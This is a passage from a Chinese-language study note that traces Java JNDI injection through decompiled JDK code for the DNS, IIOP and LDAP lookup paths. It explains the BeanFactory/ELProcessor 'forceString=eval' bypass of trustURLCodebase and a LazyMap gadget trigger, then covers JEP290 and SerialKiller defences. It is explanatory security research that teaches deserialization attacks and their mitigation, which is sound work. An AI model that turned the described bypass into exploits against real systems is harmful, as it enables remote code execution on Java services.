DnsContext var6 = new DnsContext(this, var3); // 從這里可以看到 已經限定了var6的類,他不是Reference的子類,所以無法利用
return DirectoryManager.getObjectInstance(var6, var1, this, this.environment, var5); // 之前觸發payload的點,關鍵需要是var6的類為Reference
} catch (NamingException var7) {
var2.setError(this, var1);
throw var2.fillInException(var7);
} catch (Exception var8) {
var2.setError(this, var1);
NamingException var4 = new NamingException("Problem generating object using object factory");
var4.setRootCause(var8);
throw var2.fillInException(var4);
}
}
}
DnsContext的類圖:
1.1.5.2.3.3. iiop協議(同RMI一樣)
iiop協議看起來有點復雜,靜態看了一下。
這里是生成了iiopURLContext,流程也與ldap 和 dns協議類似,快進一下
- 解析入口
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name); // 生成了iiopURLContext
}
// 跟進去以后發現 ResolveResult 的第一個參數context是CNCtx類
public static ResolveResult createUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
CNCtx var2 = new CNCtx(); // var2是CNCtx()
if (var1 != null) {
var1 = (Hashtable)var1.clone();
}
var2._env = var1;
String var3 = var2.initUsingUrl(var1 != null ? (ORB)var1.get("java.naming.corba.orb") : null, var0, var1);
return new ResolveResult(var2, parser.parse(var3)); // var2 是 后面流程中會使用的context, var3就是之前協議里需要發送的數據
}
- 調用對應context(CNCtx)的lookup方法
// CNCtx.lookup
public Object lookup(Name var1) throws NamingException {
if (this._nc == null) {
throw new ConfigurationException("Context does not have a corresponding NamingContext");
} else if (var1.size() == 0) {
return this;
} else {
NameComponent[] var2 = CNNameParser.nameToCosName(var1);
Object var3 = null;
try {
var3 = this.callResolve(var2); // 從返回的數據中生成對象 , 不了解iiop協議,不清楚這里會不會存在問題
try {
// 判斷trusted ,跟rmi協議一致,下面一段
if (CorbaUtils.isObjectFactoryTrusted(var3)) {
var3 = NamingManager.getObjectInstance(var3, var1, this, this._env); // 會調用factory的構造函數構造factory,但是有trustURLCodebase控制
}
return var3;
} catch (NamingException var6) {
throw var6;
} catch (Exception var7) {
NamingException var9 = new NamingException("problem generating object using object factory");
var9.setRootCause(var7);
throw var9;
}
} catch (CannotProceedException var8) {
Context var5 = getContinuationContext(var8);
return var5.lookup(var8.getRemainingName());
}
}
// isObjectFactoryTrusted
public static boolean isObjectFactoryTrusted(java.lang.Object var0) throws NamingException {
Reference var1 = null;
if (var0 instanceof Reference) {
var1 = (Reference)var0;
} else if (var0 instanceof Referenceable) {
var1 = ((Referenceable)((Referenceable)var0)).getReference();
}
if (var1 != null && var1.getFactoryClassLocation() != null && !CNCtx.trustURLCodebase) { // 同rmi一樣,通過com.sun.jndi.cosnaming.object.trustURLCodebase 配置控制
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.cosnaming.object.trustURLCodebase' to 'true'.");
} else {
return true;
}
}
1.1.5.2.3.4. ldap (在jdk8u191以后更新的流程)
以JDK8u251為例
在javax.naming.spi.NamingManagergetObjectFactoryFromReference()里調用loadClass時進行了控制
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName); // 使用當前classloader找目標工廠
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase); // 從遠程的codebase找工廠,這里進行調整
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
// com.sun.naming.internal.VersionHelper12.loadClass
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
// 引入了trustURLCodebase com.sun.jndi.ldap.object.trustURLCodebase
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
說實話難搞
1.1.5.2.4. 利用 org.apache.naming.factory.BeanFactory
相關的jar包
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.27</version>
</dependency>
trustURLCodebase的機制實際上是對加載的遠程工廠做了限制,beanfatory實際上是一個本地工廠,所以可以利用Refence調用beanFactory的getObjectInstantce
- 調試進入org.apache.naming.factory.BeanFactory.getObjectInstantce()
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
// 省略
- 根據ResourceRef對象生成其引用的對象javax.el.ELProcessor
// beanClass : javax.el.ELProcessor
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString"); // x=eval
Map<String, Method> forced = new HashMap();
forceString的目的是為了指定某個屬性的set方法,一般情況下id對應的set方法是setId,這里通過指定某個屬性的set方法,從而在反序列化過程中獲得執行一個指定函數的機會。
value = (String)ra.getContent(); // 獲取之前的字符的值
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName); // 之前指定的set方法為eval
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray); // 反射調用這個方法
// 調用javax.el.ELProcessor.eval方法獲得了動態執行腳本的能力, 觸發paylaod
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}
參考引用的第六篇
1.2. 防護
1.2.1. JEP290機制
- 過濾器
之前提到在調試過程中已經看到的ObjectInputFilter
通過實現 ObjectInputFilter 的接口,並調用ObjectInputFilter.Config.setObjectInputFilter(ObjectInputStream var0, ObjectInputFilter var1)
之前的介紹中已經說明,該方式是檢測序列化過程中生成類,可以采用白名單或者黑名單的方式對關鍵類進行檢測,例如InvokerTransformer
- 全局過濾器
jdk.serialFilter 系統屬性(-D) 或者 采用%JAVA_HOME%/conf/security/java.properties文件進行配置,具體規則到引用鏈接中查看配置
1.2.2. serialkiller
通過重寫相關類的方式,進行防護。 思路其實和JEP290一致,感覺290的實現上會方便一點。
不過這項目是一個過濾清單比較好的來源
1.3. 引用
- Java序列化格式詳解
- SerializationDumper 序列化數據格式解析查看
- Lib之過?Java反序列化漏洞通用利用分析
- gadgets倉庫 ysoserial
- 基於Java反序列化RCE - 搞懂RMI、JRMP、JNDI
- 在Java中利用JNDI注入
- JEP290機制
1.4. 其他
PS: 之前提到了BadAttributeValueExpException來做觸發,我也調了下,看代碼是TiedMapEntry.toString()-> lazyMap.get (無key) -> Transformer.transform,實際上在調的過程發現在調用toString()之前,就已經觸發了代碼, 是在序列化過程中構造TiedMapEntry時,ObjectStreamClass.setObjFieldValues -> unsafe.putObject(obj, key, val); 時觸發了
// java\io\ObjectStreamClass.java
void setObjFieldValues(Object obj, Object[] vals) {
if (obj == null) {
throw new NullPointerException();
}
for (int i = numPrimFields; i < fields.length; i++) {
long key = writeKeys[i];
if (key == Unsafe.INVALID_FIELD_OFFSET) {
continue; // discard value
}
switch (typeCodes[i]) {
case 'L':
case '[':
Object val = vals[offsets[i]];
if (val != null &&
!types[i - numPrimFields].isInstance(val))
{
Field f = fields[i].getField();
throw new ClassCastException(
"cannot assign instance of " +
val.getClass().getName() + " to field " +
f.getDeclaringClass().getName() + "." +
f.getName() + " of type " +
f.getType().getName() + " in instance of " +
obj.getClass().getName());
}
unsafe.putObject(obj, key, val); // 此處觸發
break;
default:
throw new InternalError();
}
}
}
unsafe.putObject是一個java native的方法,沒有實際了解過代碼。不過從idea的告警中,可以看到確實調用到了lazymap的get的方法,由於初始狀態下是沒有該記錄的,會觸發payload。
感慨一下大佬們牛逼.